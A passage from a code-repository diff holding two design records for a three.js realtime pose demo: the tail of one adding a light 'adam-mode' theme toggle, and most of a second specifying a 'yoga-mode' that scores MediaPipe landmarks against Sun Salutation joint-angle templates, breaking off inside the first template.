+Two scene colours are hard-coded at construction (lines 269–270). Replace them with a function call that reads the current theme:
+
+```js
+function themeSceneColors(theme) {
+    return theme === 'adam'
+        ? { bg: 0xf6f2ea, fogDensity: 0.025 }
+        : { bg: 0x050507, fogDensity: 0.06 };
+}
+function applySceneTheme(theme) {
+    const c = themeSceneColors(theme);
+    scene.background = new THREE.Color(c.bg);
+    scene.fog = new THREE.FogExp2(c.bg, c.fogDensity);
+    renderer.setClearColor(c.bg, 1.0);
+}
+```
+
+Called once after `renderer` is constructed, then again from the toggle handler.
+
+`scene.fog` density drops in adam-mode because exponential fog on a light background reads as "haze" much more strongly than on dark — 0.06 → 0.025 keeps the falloff visible without losing the figure into the background.
+
+### 2.4 UI toggle
+
+Add to the `#helpers` panel (top of its labels list):
+
+```html
+<label class="theme-toggle">
+    <input type="checkbox" id="adam-mode-toggle">
+    <span>adam-mode (light)</span>
+    <span class="swatch" style="background: var(--amber)"></span>
+</label>
+```
+
+Handler:
+
+```js
+const THEME_KEY = 'ruview.theme';
+const root = document.documentElement;
+const toggle = document.getElementById('adam-mode-toggle');
+
+function applyTheme(theme) {
+    if (theme === 'adam') {
+        root.setAttribute('data-theme', 'adam');
+        toggle.checked = true;
+    } else {
+        root.removeAttribute('data-theme');
+        toggle.checked = false;
+    }
+    applySceneTheme(theme);
+    try { localStorage.setItem(THEME_KEY, theme); } catch (_) {}
+}
+
+const initialTheme = (() => {
+    try { return localStorage.getItem(THEME_KEY) || 'dark'; }
+    catch (_) { return 'dark'; }
+})();
+applyTheme(initialTheme);
+
+toggle.addEventListener('change', e => {
+    applyTheme(e.target.checked ? 'adam' : 'dark');
+});
+```
+
+### 2.5 Why "adam-mode" as the codename
+
+The user picked the name. It is a project-specific brand — distinct from the generic "light mode" terminology that other modes (`--theme=high-contrast`, `--theme=print`) may eventually need. Keeping a codename makes the toggle searchable in the codebase, the localStorage key portable across the demo set, and avoids ambiguity if dark itself is later renamed.
+
+The string `"adam"` is the only literal value the `data-theme` attribute and the `localStorage` key ever take. `"dark"` is the implicit default (no attribute, no stored value).
+
+### 2.6 Rejected alternatives
+
+| Alternative | Rejected because |
+|---|---|
+| Use `prefers-color-scheme: light` only, no toggle | Operators frequently want the opposite of their OS preference for screen-recording or daylight desk use. Auto-only frustrates the actual use case. |
+| Ship two separate HTML files (`05-…-dark.html`, `05-…-light.html`) | Doubles maintenance for every future demo edit. No path to per-session toggle. |
+| Build a full multi-theme system with a runtime registry | Premature. Two themes don't need a registry; the `data-theme="adam"` attribute is the registry. |
+| Use Tailwind / DaisyUI / a CSS framework | Demos are intentionally stand-alone single-file HTML for portability. No build step exists; adding one for theming is wrong shape. |
+| Adopt the cognitum-v0 / HOMECORE design tokens (`--hc-*` from `examples/frontend/`) | That design system is dark-only by intent (ADR-131). adam-mode is the light counterpart needed in *demo* contexts, not HA dashboard contexts. |
+| Make adam-mode the default | Breaks the dark-aesthetic recording context this demo was originally built for. Default stays dark; toggle stays opt-in. |
+
+## 3. Consequences
+
+### 3.1 Positive
+
+- Demo is usable in daylight, in printed documentation, on light-mode browsers, and by users who find the dark-amber combination fatiguing.
+- Toggle persists across reloads via `localStorage` — set once, sticks.
+- No structural change to information density, panel layout, or three.js scene geometry. Operators familiar with the dark theme can switch and still find every readout in the same place.
+- Implementation is contained — a single `<style>` block addition, a single button, a ~25-line JS handler, and a swap of two scene-construction lines.
+
+### 3.2 Negative
+
+- Two themes to maintain. Any future colour change requires updating both `:root` blocks. Mitigated by keeping the existing custom-property names — adam-mode's values are the only edits.
+- The vignette + scanlines lose some of the CRT charm in adam-mode. Tradeoff accepted by design.
+- One additional `localStorage` slot consumed per origin (`ruview.theme`).
+- The amber accent in adam-mode (`#b8741a`) is visibly different from the dark-mode amber (`#ffb840`) — they share the same CSS variable name but a screenshot from each mode is not pixel-comparable. This is the correct call for accessibility (the bright amber is unreadable on cream) but does mean side-by-side comparisons need both screenshots labelled.
+
+### 3.3 Risks
+
+| Risk | Likelihood | Mitigation |
+|---|---|---|
+| Future demo edits update one `:root` block and forget the other | Medium | A lint script in `scripts/` could grep both blocks for matching key sets; documented as P2 follow-up. |
+| `localStorage` blocked by privacy settings | Low | All accesses are wrapped in try/catch; falls back to dark. |
+| Three.js fog density of 0.025 still washes out the model on adam-mode | Low | Empirically tuned during implementation; if it does, drop to 0.015 or remove fog entirely in adam-mode. |
+| User on a high-DPI display sees scanlines as visible paper texture even at 15 % opacity | Low | If reported, drop to 8 % or hide scanlines entirely in adam-mode. |
+
+## 4. Implementation plan
+
+Tiny scope — single file. No swarm needed.
+
+1. Add `:root[data-theme="adam"]` CSS block and the two overlay overrides.
+2. Refactor scene background + fog into the two helper functions `themeSceneColors()` and `applySceneTheme()`.
+3. Add `<label>` markup and handler script.
+4. Verify in a browser at http://127.0.0.1:8765/examples/three.js/demos/05-skinned-realtime.html — toggle on, reload, confirm adam-mode persists; toggle off, reload, confirm dark persists.
+5. Smoke-screenshot both modes; commit.
+
+Acceptance criteria:
+
+- Toggle checkbox visible in `#helpers` panel.
+- Clicking the toggle swaps colours within one frame.
+- Reload preserves last choice.
+- Three.js scene background follows the toggle (no dark frame visible behind a light HUD or vice-versa).
+- Existing dark-theme appearance is byte-identical when toggle is off.
+
+## 5. Test plan
+
+- Manual visual check in two themes (no automated visual regression — demos aren't in the CI test loop today).
+- `view-source` confirms the new CSS block, the toggle markup, and the handler are present.
+- DevTools `localStorage` shows `ruview.theme` after a toggle.
+- Three.js inspector (or a `console.log(scene.background.getHexString())`) confirms scene colour swap.
+
+## 6. Follow-on work (out of scope for this ADR)
+
+- Roll adam-mode into demos 01–04. Each demo has its own `<style>` block; the same `data-theme="adam"` selector and the same JS handler can be copied.
+- Honor `prefers-color-scheme: light` on first load *if* `localStorage` has no stored choice. Trivial three-line addition.
+- Add a high-contrast theme for accessibility (separate ADR).
+- Lint script that asserts both `:root` blocks declare the same custom-property names.
+
+## 7. Related ADRs
+
+- [ADR-019](ADR-019-sensing-only-ui-mode.md) — sensing-only UI mode (Gaussian splats viewer)
+- [ADR-035](ADR-035-live-sensing-ui-accuracy.md) — live sensing UI accuracy norms (which this demo follows)
+- [ADR-131](docs/adr/ADR-131-...) — HOMECORE / cognitum-v0 design tokens (dark-only, separate context)

docs/adr/ADR-170-yoga-mode-pose-system.md

@@ -0,0 +1,643 @@
+# ADR-170: yoga-mode — pose detection, classification, and scoring for the three.js realtime demo
+
+| Field | Value |
+|-------|-------|
+| **Status** | Proposed |
+| **Date** | 2026-06-02 |
+| **Deciders** | ruv |
+| **Codename** | **yoga-mode** |
+| **Scope** | `examples/three.js/demos/05-skinned-realtime.html` (primary); new `examples/three.js/demos/06-yoga-mode.html` (secondary, slimmed-down) |
+| **Relates to** | ADR-169 (adam-mode light theme), ADR-019 (sensing-only UI), ADR-035 (live sensing UI accuracy) |
+| **Tracking issue** | none yet |
+
+---
+
+## 1. Context
+
+`examples/three.js/demos/05-skinned-realtime.html` already runs the full MediaPipe Pose Heavy pipeline at ~30 Hz: 33 BlazePose landmarks flow through a one-euro-filter bank into joint-angle extraction and then into a Mixamo X Bot IK retarget. The `#pose-panel` HUD shows landmark count, visibility, and pose FPS. The `#helpers` panel (ADR-097) has adam-mode (ADR-169) and eight visualisation toggles.
+
+This infrastructure is complete. Every frame, per-joint angles are already computable from the existing `liveKp` world-space landmark array. What does not yet exist is any layer that interprets those angles as a known yoga pose, scores the user's alignment against a target shape, and guides the user through a structured sequence.
+
+### 1.1 Why yoga-mode in this demo
+
+Three concrete use-cases drive this:
+
+1. **Developer self-test for the retargeting pipeline.** Cycling through a Sun Salutation A is a systematic, reproducible way to exercise every major joint (shoulder, elbow, hip, knee, spine). A pose-scoring overlay makes regression immediately visible — if a code change breaks elbow retargeting, the yoga classifier will output a depressed alignment score on Chaturanga even before a visual inspection.
+
+2. **Public demonstration value.** The demo is served at `http://127.0.0.1:8765/examples/three.js/demos/05-skinned-realtime.html` and shown to evaluators. A guided instructional mode that scores real-time body alignment against Tadasana or Downward Dog is immediately intelligible to a non-technical audience in a way that raw CSI amplitude bars are not.
+
+3. **Future bridge to the Rust host.** The Rust-side `wifi-densepose-signal/src/ruvsense/pose_tracker.rs` maintains a 17-keypoint Kalman tracker in COCO convention. yoga-mode in the demo operates on the 33-landmark MediaPipe convention. These are not the same: MediaPipe indices 0–32 (BlazePose) map non-trivially to COCO 0–16. Deciding the mapping now — even in a pure-JS context — canonicalises it for the eventual Rust integration.
+
+### 1.2 What this ADR is *not*
+
+- Not a backend service. No WebSocket endpoint, no session record, no cloud upload. Pure client-side HTML.
+- Not a fitness-app competitor. The scope is Sun Salutation A (8 poses). The full 84-asana classical corpus is out of scope.
+- Not an integration with the Rust `pose_tracker.rs`. That bridge is documented here as a future consequence, not an immediate deliverable.
+- Not a redesign of demo 05. Panel layout, three.js scene geometry, and the CSI overlay are unchanged.
+- Not a new design system. yoga-mode inherits every existing CSS custom property.
+
+### 1.3 COCO-17 ↔ BlazePose-33 mapping note
+
+The Rust tracker uses COCO 17-keypoint indices (0=nose, 5=left-shoulder, 6=right-shoulder, 7=left-elbow, 8=right-elbow, 9=left-wrist, 10=right-wrist, 11=left-hip, 12=right-hip, 13=left-knee, 14=right-knee, 15=left-ankle, 16=right-ankle). MediaPipe BlazePose-33 uses a different, denser scheme where shoulders are at 11–12, elbows at 13–14, wrists at 15–16, hips at 23–24, knees at 25–26, ankles at 27–28.
+
+The mapping for the 13 joints used in yoga-mode angle computation is:
+
+| Joint role | COCO idx | BlazePose idx |
+|---|---|---|
+| nose | 0 | 0 |
+| left shoulder | 5 | 11 |
+| right shoulder | 6 | 12 |
+| left elbow | 7 | 13 |
+| right elbow | 8 | 14 |
+| left wrist | 9 | 15 |
+| right wrist | 10 | 16 |
+| left hip | 11 | 23 |
+| right hip | 12 | 24 |
+| left knee | 13 | 25 |
+| right knee | 14 | 26 |
+| left ankle | 15 | 27 |
+| right ankle | 16 | 28 |
+
+When the Rust host integration is implemented, the joint-angle features extracted by yoga-mode in JS and by `pose_tracker.rs` in Rust will be computed from the same physical joints via this table. No translation layer is needed at runtime — yoga-mode always uses BlazePose indices; `pose_tracker.rs` always uses COCO indices.
+
+### 1.4 Biomechanical basis for joint-angle targets
+
+The joint-angle targets in this ADR are grounded in peer-reviewed measurements. Perez-Testor et al. (2019, PMC6521759) captured 10 trained practitioners performing Surya Namaskar A on a 12-camera Vicon system at 100 Hz, reporting sagittal-plane joint angles at each pose transition. Key ranges: elbow 22°–116°, hip 15° extension to 134° flexion, knee 3° hyperextension to 140° flexion, spine 44° extension to 58° flexion, shoulder 56°–183°. These empirical ranges set the upper and lower bounds for the tolerance bands in this ADR's pose templates. Where Perez-Testor does not report a joint (e.g. wrist flexion for Chaturanga arm angle), the Iyengar geometry — "elbows at 90° bent close to the body" — supplies the target value. A 2023 PMC yoga-pose review (PMC10280249) confirming angle-heuristic approaches as the most reliable real-time classification method validates the algorithmic choice.
+
+---
+
+## 2. Decision
+
+### 2.1 Pose taxonomy — Sun Salutation A, 8 poses
+
+Sun Salutation A is chosen for the first ship. It satisfies three criteria simultaneously: the poses are geometrically distinct from each other (no two share the same joint-angle signature), they form a complete bilateral sequence (both left and right sides are exercised), and they are among the best-documented asanas in the biomechanics literature. The Sanskrit and English names are unambiguous in the Ashtanga tradition.
+
+The 8 poses in sequence order with their one-line joint-angle signatures:
+
+| Stage | Sanskrit | English | Joint-angle signature |
+|---|---|---|---|
+| 1 | Tāḍāsana | Mountain Pose | All limbs extended: knees 180°, hips 180°, elbows 180°, spine vertical |
+| 2 | Ūrdhva Hastāsana | Upward Salute | Arms overhead: shoulders ~180° abducted, elbows 180°, torso elongated |
+| 3 | Uttānāsana | Standing Forward Fold | Hips ~0–30° (full fold), knees 180°, elbows relaxed, spine flexed |
+| 4 | Ardha Uttānāsana | Half Lift / Flat-Back | Hips ~90° (parallel torso), knees 180°, spine neutral (horizontal) |
+| 5 | Catvāri (Chaturanga Daṇḍāsana) | Four-Limbed Staff | Hips 180° (plank line), elbows ~90°, shoulders depressed, body horizontal |
+| 6 | Ūrdhva Mukha Śvānāsana | Upward-Facing Dog | Hips extended ~160°+, shoulders over wrists, spine extended, knees off floor |
+| 7 | Adho Mukha Śvānāsana | Downward-Facing Dog | Hips ~80–110° (inverted V), knees 180°, shoulders ~180° (arms overhead), spine long |
+| 8 | Uttānāsana | Standing Forward Fold (return) | Same as stage 3 — mirrors the descent; re-classified as stage 8 for sequence tracking |
+
+"All 84 classical asanas" is explicitly rejected. Even the 26-pose Bikram set is rejected — the goal is a complete, self-contained instructional sequence for a 2–3 minute demo session, not exhaustive coverage. Eight poses are the minimum for a meaningful sequence narrative and the maximum that fits a single UI strip without horizontal scrolling on a 1080p screen.
+
+### 2.2 Detection algorithm — joint-angle threshold matching with weighted scoring
+
+**Chosen: joint-angle threshold matching.** For each frame, compute the angle at 6–10 named joints (one angle per joint, defined as the interior angle at the vertex formed by three landmarks). Compare each computed angle to the per-pose target. Score by weighted absolute deviation. Classify the argmax.
+
+**Why not the alternatives:**
+
+| Alternative | Verdict | Reason |
+|---|---|---|
+| Skeleton-as-vector cosine similarity | Rejected | Position-sensitive: a person standing 2 m from the camera vs. 1 m produces different vectors. Joint angles are translation- and scale-invariant by construction. |
+| Small MLP trained on a labelled dataset | Rejected | No labelled dataset exists in this codebase. Training a reliable MLP for 8 poses would require hundreds of labelled examples per class, a train/test split, and a model serialization format — none of which belongs in a single-file demo HTML. Joint-angle matching achieves the same discrimination for 8 geometrically distinct poses with zero training data. |
+| MediaPipe Tasks PoseClassifier (EfficientNet-based) | Rejected | Requires loading a separate `.task` bundle (~4 MB), adds a network dependency to the demo's offline-capable design, and uses a black-box embedding — undebuggable when a pose is misclassified. Threshold matching is fully inspectable in DevTools. |
+| DTW template matching on full landmark sequences | Rejected | Appropriate for gesture recognition over time (ADR-014's `gesture.rs`), not static pose classification. Sun Salutation transitions are slow (2–5 seconds per pose); per-frame angle scoring is sufficient. |
+
+**Joint angle computation.** For three landmark positions A (proximal), B (vertex), C (distal), the interior angle at B is:
+
+```
+angle_B = arccos( dot(A-B, C-B) / (|A-B| * |C-B|) )   in degrees
+```
+
+This is computed in world-space from the existing `liveKp` THREE.Vector3 array. The computation is purely arithmetic — no matrix inversion, no DFT. At 30 Hz on any modern laptop it is unmeasurably fast relative to the MediaPipe inference cost.
+
+**Named joints used in yoga-mode.** Joint names, their three-landmark triplets (proximal-vertex-distal), and the BlazePose indices:
+
+| Joint name | Triplet (P-V-D) | Indices |
+|---|---|---|
+| `left_elbow` | shoulder→elbow→wrist | 11→13→15 |
+| `right_elbow` | shoulder→elbow→wrist | 12→14→16 |
+| `left_knee` | hip→knee→ankle | 23→25→27 |
+| `right_knee` | hip→knee→ankle | 24→26→28 |
+| `left_hip` | shoulder→hip→knee | 11→23→25 |
+| `right_hip` | shoulder→hip→knee | 12→24→26 |
+| `left_shoulder` | hip→shoulder→elbow | 23→11→13 |
+| `right_shoulder` | hip→shoulder→elbow | 24→12→14 |
+| `torso_lean` | hip-midpoint→shoulder-midpoint→vertical | synthetic |
+
+`torso_lean` is the angle between the hip-to-shoulder axis and the world vertical (Y axis). It distinguishes standing-upright (≈0°) from folded-forward (≈90°) from plank-horizontal (≈90° in a different axis pattern). In practice, it is implemented as `acos(dot(hipToShoulder.normalize(), UP_VECTOR))` where `UP_VECTOR = (0,1,0)`.
+
+### 2.3 Pose template format — inline JSON, single-file portable
+
+Templates live as a JS object literal inside the `<script>` block of the demo file. A sibling `poses.json` would break the single-file portability that makes demos easy to share and locally serve. The inline approach imposes no additional HTTP request and no CORS constraint.
+
+**Schema** (one template per pose):
+
+```js
+{
+  id: "tadasana",              // machine-readable ID, localStorage key fragment
+  name_en: "Mountain Pose",    // English common name
+  name_sa: "Tāḍāsana",        // Sanskrit with diacritics
+  stage: 1,                    // position in the Sun Salutation A sequence (1-8)
+  joint_targets: {
+    left_elbow:    { angle_deg: 180, tolerance_deg: 15, weight: 0.5 },
+    right_elbow:   { angle_deg: 180, tolerance_deg: 15, weight: 0.5 },
+    left_knee:     { angle_deg: 180, tolerance_deg: 10, weight: 1.0 },
+    right_knee:    { angle_deg: 180, tolerance_deg: 10, weight: 1.0 },
+    left_hip:      { angle_deg: 180, tolerance_deg: 12, weight: 0.8 },
+    right_hip:     { angle_deg: 180, tolerance_deg: 12, weight: 0.8 },
+    torso_lean:    { angle_deg:   0, tolerance_deg: 12, weight: 1.2 },
+  },
+  instruction: "Stand tall. Feet hip-width, weight even. Arms relaxed at your sides. Lengthen through the crown.",
+  min_hold_s: 3,               // seconds the pose must be held to count as completed
+}
+```
+
+**Schema decisions:**
+
+- `tolerance_deg` is the half-width of the pass band. An angle within `[target - tolerance, target + tolerance]` contributes full score for that joint. Beyond the tolerance band the score degrades linearly to zero at `target ± (tolerance * 3)`, then clamps to zero. This linear-outside-band behaviour prevents cliff edges where being 16° off scores identically to 90° off.
+
+- `weight` carries the importance signal. High-weight joints (torso_lean 1.2, knees 1.0) dominate the aggregate score. Low-weight joints (elbows 0.5 in Tadasana, where arm position is relaxed) have less influence. A weight of 0 would mask a joint entirely — used when the joint is not visible (see §2.7 graceful degradation).
+
+- `min_hold_s` is per-template. Tadasana and Uttanasana are grounding poses that benefit from a 3-second hold. Chaturanga is a strength pose where 2 seconds is already challenging. The value lives in the template, not as a global constant, so future operators can tune it per pose without touching logic.
+
+- There is no `max_hold_s`. Holding a pose longer than `min_hold_s` does not penalise the score.
+
+**Why `tolerance_deg` over explicit pass/fail thresholds.** A binary pass/fail at a hard threshold creates a jarring UX: the alignment bar slams between 0% and 100% at a single degree of motion. Linear-outside-band degradation provides smooth visual feedback that guides the user toward the target incrementally.
+
+### 2.4 Scoring formula
+
+Per-frame alignment score for pose *p*, given measured angle `θ_j` at joint *j*:
+
+```
+delta_j = |θ_j  −  target_j.angle_deg|
+
+band_score_j =
+    1.0                                           if delta_j ≤ tolerance_j
+    1.0 − (delta_j − tolerance_j) / (2 * tolerance_j)   if delta_j ≤ 3 * tolerance_j
+    0.0                                           otherwise
+
+raw_score_p = Σ_j ( weight_j * band_score_j ) / Σ_j ( weight_j )
+
+alignment_score_p = clamp(raw_score_p, 0.0, 1.0)
+```
+
+`alignment_score_p` is a value in [0, 1]. Displayed in the `#yoga-panel` as an integer percentage (0–100) with one decimal place for the progress ring to animate smoothly.
+
+**Hold-time component.** The classifier reports a pose as *completed* when two conditions are simultaneously true:
+1. The pose has been the argmax classifier output for a contiguous streak of `K = 6` frames (see §2.5).
+2. Within that streak, the alignment score has remained above 0.6 (60%) for at least `min_hold_s` seconds.
+
+Completion is a one-shot event per pose per sequence pass. It fires once, advances the sequence indicator, and triggers the audible cue. The user must drop out of the pose and re-enter it to re-trigger completion — this prevents accidental re-completion during a rest pause.
+
+**Why 60% as the hold threshold.** At 60%, the user's joint angles are within the tolerance band on the majority of weighted joints. A strict 80% threshold would frustrate beginners; a lenient 40% threshold would fire on casual near-misses. 60% is consistent with the threshold used in the Google ML Kit PoseClassifier sample and the Perez-Testor study's reported inter-practitioner variance (mean joint-angle SD of ~10° across joints, which maps to roughly a 30% score drop relative to a perfect practitioner on a 15° tolerance band).
+
+**Why not include a velocity component (punish fast transitions).** Velocity would require a second derivative of the landmark positions, which is already noisy from MediaPipe jitter even after the one-euro filter. Minimum hold time (2–3 s) implicitly penalises rushing through poses without adding noise sensitivity.
+
+### 2.5 Pose classification flow and debounce
+
+Every frame, after `ingestPoseLandmarks()` populates `liveKp`:
+
+```js
+function classifyPose() {
+    if (!yogaMode.enabled || !liveValid) return;
+    computeJointAngles();        // fills yogaMode.angles from liveKp
+    for (const p of yogaMode.activePoses) {
+        p.frameScore = scorePose(p);   // per-frame alignment_score_p
+    }
+    const best = yogaMode.activePoses.reduce((a, b) =>
+        b.frameScore > a.frameScore ? b : a
+    );
+    if (best.frameScore > SCORE_NO_POSE_FLOOR) {
+        yogaMode.streak = (yogaMode.candidate === best.id)
+            ? yogaMode.streak + 1 : 1;
+        yogaMode.candidate = best.id;
+    } else {
+        yogaMode.streak = 0;
+        yogaMode.candidate = null;
+    }
+    if (yogaMode.streak >= K_FRAMES && yogaMode.candidate !== yogaMode.current) {
+        yogaMode.current = yogaMode.candidate;
+        onPoseTransition(yogaMode.current);
+    }
+    updateYogaHUD();
+}
+```
+
+**K = 6 frames** (debounce depth). At 30 Hz this corresponds to a 200 ms lag from first matching pose to classification announcement. This is long enough to suppress a one-frame flicker from a mediocre landmark result but short enough to feel instantaneous to a human moving at yoga pace (typical transition speed: 1–3 seconds).
+
+Lowering K to 3 creates flickering when the user is near a pose boundary. Raising K to 12 introduces a 400 ms lag that makes the HUD feel unresponsive on quick transitions (e.g. Uttanasana → Ardha Uttanasana takes ~1 second in a vigorous practice). K = 6 is the correct value given the ~30 Hz landmark update rate.
+
+**SCORE_NO_POSE_FLOOR = 0.40.** If no pose scores above 40%, yoga-mode reports "no recognised pose" and does not transition. This prevents the classifier from latching onto the closest-matching pose during, say, walking across the room or sitting at a desk. At 40%, at least a plurality of the weighted joints must be within their tolerance band — a constraint that a non-yoga posture reliably fails.
+
+### 2.6 UI surfaces
+
+**Toggle in `#helpers` panel.** Added below the adam-mode row:
+
+```html
+<label class="yoga-toggle">
+    <input type="checkbox" id="yoga-mode-toggle">
+    <span>yoga-mode (instructional)</span>
+    <span class="swatch" style="color: var(--green)"></span>
+</label>
+```
+
+yoga-mode is orthogonal to adam-mode: both can be active simultaneously. It uses `data-yoga="on"` on `<body>`, not `data-theme`. The attribute is distinct so that CSS selectors like `:root[data-theme="adam"]` and `:root[data-yoga="on"]` compose without conflict.
+
+**`#yoga-panel` — bottom-centre overlay.** A new `<div id="yoga-panel" class="panel">` appears at the bottom centre of the viewport when yoga-mode is enabled. It is hidden (`display: none`) when yoga-mode is off, so it does not interfere with the existing layout.
+
+The panel contains:
+
+1. **Current pose name** — large (18px), Sanskrit name above English name below, amber colour. Falls back to "—" when no pose is recognised.
+2. **Alignment score ring** — a small SVG `<circle>` progress ring (r=22, stroke-dasharray) updating on every classified frame. Score 0–100 shown as integer inside the ring.
+3. **Hold-time progress bar** — a `<div class="bar-track">` identical in style to the CSI bars, filling from 0% to 100% as the hold-time accumulates. Resets on pose transition.
+4. **Instruction text** — one line from the current pose's `instruction` field, `font-size: 10px`, `color: var(--text-mute)`.
+5. **Visibility warning** — a `<span class="yoga-warn">` shown in `var(--red)` when `torso_not_visible` is true (see §2.7).
+
+**Sequence strip — top-centre.** A horizontal strip of 8 thumbnail slots (`<div class="yoga-strip">`) spanning the top of the viewport (z-index above the titlecard, below `#info`). Each slot contains the pose's stage number and a 3-letter abbreviation (TAD, URD, UTT, ARD, CAT, UPD, DOG, UT2). Slots are styled:
+
+- **Dimmed** (opacity 0.3, `var(--text-mute)` text) — not yet reached.
+- **Active** (opacity 1.0, `var(--amber)` border glow, pulsing) — current pose.
+- **Completed** (opacity 0.7, `var(--green)` checkmark `✓`, no glow) — held for `min_hold_s` seconds.
+
+The strip does not scroll. Eight slots at ~90px each fit a 720px-wide viewport. On narrower screens the strip compresses gracefully because the slots use `flex: 1` within a `display: flex` container.
+
+**Audible cue.** A single `<audio id="yoga-bell" src="data:audio/wav;base64,..." preload="auto">` element. The WAV is a 0.4-second C5 bell tone encoded inline as base64 (~12 KB). This preserves the single-file portability. It fires once on pose completion via `yogaBell.currentTime = 0; yogaBell.play()`. A `muted` toggle in `#helpers` (beneath the yoga-mode checkbox) allows the user to silence it: `<label><input type="checkbox" id="yoga-mute-toggle"> mute bell</label>`. The bell is muted by default (`yogaBell.muted = true`) to avoid startling first-time users.
+
+**Theme compatibility.** `#yoga-panel` and the sequence strip use only existing custom properties: `var(--bg-panel)`, `var(--border)`, `var(--amber)`, `var(--amber-hot)`, `var(--text)`, `var(--text-mute)`, `var(--green)`, `var(--red)`. No new CSS variables are introduced. The panel therefore inherits both the default dark theme and adam-mode automatically — the same mechanism described in ADR-169 §2.1.
+
+### 2.7 Camera / MediaPipe assumptions and graceful degradation
+
+**Expected input:** front-facing camera, full body from head to ankles in frame, neutral indoor lighting. The demo's existing camera pipeline already requests `{ video: { facingMode: 'user', width: 640, height: 480 } }`. No change to the MediaPipe setup.
+
+**Graceful degradation when body is partially out of frame.** MediaPipe assigns a `visibility` score in [0, 1] to each landmark. When a landmark's visibility drops below 0.35, yoga-mode treats that joint as missing:
+
+```js
+function effectiveWeight(jointName, angles) {
+    const vis = jointVisibility(jointName);   // min visibility of the 3 landmarks
+    if (vis < 0.35) return 0.0;              // joint masked — not counted
+    if (vis < 0.65) return angles.weight * (vis / 0.65);   // partial weight
+    return angles.weight;
+}
+```
+
+When two or more of the high-weight joints (knees, hips, torso_lean) are masked simultaneously, `Σ_j(weight_j)` falls below a minimum viable total, and `alignment_score_p` is set to 0 regardless of the numerator. This prevents spurious high scores from a partially visible body where only one or two low-weight joints (e.g. elbows) are visible and happen to match a pose.
+
+The `#yoga-panel` surfaces a `torso_not_visible` warning ("Move back — full body not in frame") in `var(--red)` whenever `liveVis[23] < 0.35 || liveVis[24] < 0.35` (left or right hip not visible). The hips are the reference joint for torso_lean and for hip-angle computation; their absence makes the entire classifier unreliable.
+
+### 2.8 Cross-demo applicability
+
+**yoga-mode ships in demo 05 only for the first iteration.** Demos 03 and 04 do not have a MediaPipe pipeline; there are no `liveKp` landmarks to score. Adding yoga-mode to them would require pulling in the entire MediaPipe Pose Heavy CDN script — changing those demos' character and load time.
+
+**New demo: `06-yoga-mode.html`.** A new file `examples/three.js/demos/06-yoga-mode.html` is introduced as a slimmed-down variant of demo 05 where yoga-mode is the primary focus rather than an optional overlay. Differences from demo 05:
+
+- The CSI panel (`#csi`) and the tomography sweep are hidden by default (`display: none`).
+- The `#yoga-panel` is expanded to a larger centre-screen layout with a bigger score ring (r=44) and larger pose name text (24px).
+- The sequence strip is rendered larger (100px slot width).
+- The `#helpers` panel shows only the yoga-related toggles (yoga-mode, adam-mode, mute bell).
+- The titlecard text reads "RuView · Yoga Mode".
+
+This file is created from a copy of demo 05 with the CSI and tomography sections stripped. It shares the `YogaMode` object and pose templates verbatim — no logic is duplicated.
+
+The decision to introduce a sixth demo file rather than making demo 05's yoga features more prominent is: demo 05 is a complete multi-feature demo (CSI + MediaPipe + IK retarget); demo 06 is a single-purpose instructional demo. Evaluators who want to show the yoga system without the RF sensing noise get demo 06.
+
+### 2.9 Persistence
+
+User settings are persisted in `localStorage` under the `ruview.yoga.*` namespace:
+
+| Key | Type | Value shape | Default |
+|---|---|---|---|
+| `ruview.yoga.enabled` | boolean string | `"true"` or `"false"` | `"false"` |
+| `ruview.yoga.muted` | boolean string | `"true"` or `"false"` | `"true"` |
+| `ruview.yoga.tolerance_scale` | float string | `"0.5"` to `"2.0"` | `"1.0"` |
+| `ruview.yoga.sequence` | JSON string | `["tadasana","urdhva_hastasana",…]` | full 8-pose sequence |
+
+`tolerance_scale` is a global multiplier applied to every `tolerance_deg` value in every template. A scale of 0.5 makes the classifier strict (tight bands); a scale of 2.0 makes it forgiving (wide bands). The HUD exposes this as a simple "Difficulty" slider: Easy (2.0×), Normal (1.0×), Strict (0.5×). The default is Normal.
+
+`ruview.yoga.sequence` allows an operator to load a custom subset or reordering of the 8 poses, or to load additional poses added via `YogaMode.addPose()`. The array contains pose `id` strings. On load, yoga-mode resolves each ID against the registered template map; unknown IDs are skipped with a console warning.
+
+All `localStorage` accesses are wrapped in try/catch to handle privacy-restricted origins.
+
+### 2.10 JS API surface
+
+yoga-mode exposes a clean internal module object. Because the demo is a single-file HTML with no ES module bundler, the pattern is a plain object literal assigned to a local `const`:
+
+```js
+const YogaMode = {
+    // ---- Lifecycle ----
+    init(opts = {}) {},       // wire up UI, register pose templates, restore localStorage
+    enable() {},              // set data-yoga="on", show #yoga-panel, start classifying
+    disable() {},             // remove data-yoga="on", hide #yoga-panel, reset state
+
+    // ---- Classification callbacks ----
+    onPoseChanged(cb) {},     // cb(poseId: string | null) — fires on confirmed transition
+    onPoseScored(cb) {},      // cb(scores: {[poseId]: number}) — fires every frame
+    onPoseCompleted(cb) {},   // cb(poseId: string, holdMs: number) — fires on hold completion
+
+    // ---- Template management ----
+    addPose(template) {},     // validate and register a custom pose template
+    removePose(id) {},        // remove a template by id (built-ins can be removed)
+    poses() {},               // returns Array<PoseTemplate> — current registered set
+
+    // ---- State accessors ----
+    currentPose() {},         // returns current confirmed pose id or null
+    currentScore() {},        // returns alignment score [0,1] of current pose or 0
+    angles() {},              // returns the latest computed joint angles object
+
+    // ---- Sequence control ----
+    resetSequence() {},       // clears all completion state, restarts from stage 1
+    setSequence(ids) {},      // replace active sequence with a custom id array
+
+    // Internal state — not part of the public API:
+    _state: { enabled, candidate, current, streak, holdStart, completedSet }
+};
+```
+
+`onPoseChanged`, `onPoseScored`, and `onPoseCompleted` follow the same pattern as the demo's existing event hooks: they register a single callback (last-writer wins, not an array). This is sufficient for a single-file demo where there is at most one consumer per event. A future multi-listener pattern would need a `listeners` array; that is out of scope.
+
+`addPose(template)` validates the template schema before registering it. A template missing `joint_targets` or with an `id` that contains non-alphanumeric characters is rejected with a `console.error` and returns `false`. Valid templates return `true`.
+
+### 2.11 Pose templates — Sun Salutation A joint targets
+
+The full 8-pose template set. Angle targets are derived from Perez-Testor et al. (2019) Vicon measurements and Iyengar alignment geometry. Tolerances are set to twice the reported inter-practitioner SD (~10°) rounded to the nearest 5°, then scaled by the user's `tolerance_scale`.
+
+**Stage 1 — Tāḍāsana (Mountain Pose)**
+
+All joints extended. Body in anatomical position. Baseline for comparison.
+
+```js
+{ id: "tadasana", name_en: "Mountain Pose", name_sa: "Tāḍāsana", stage: 1,
+  min_hold_s: 3,
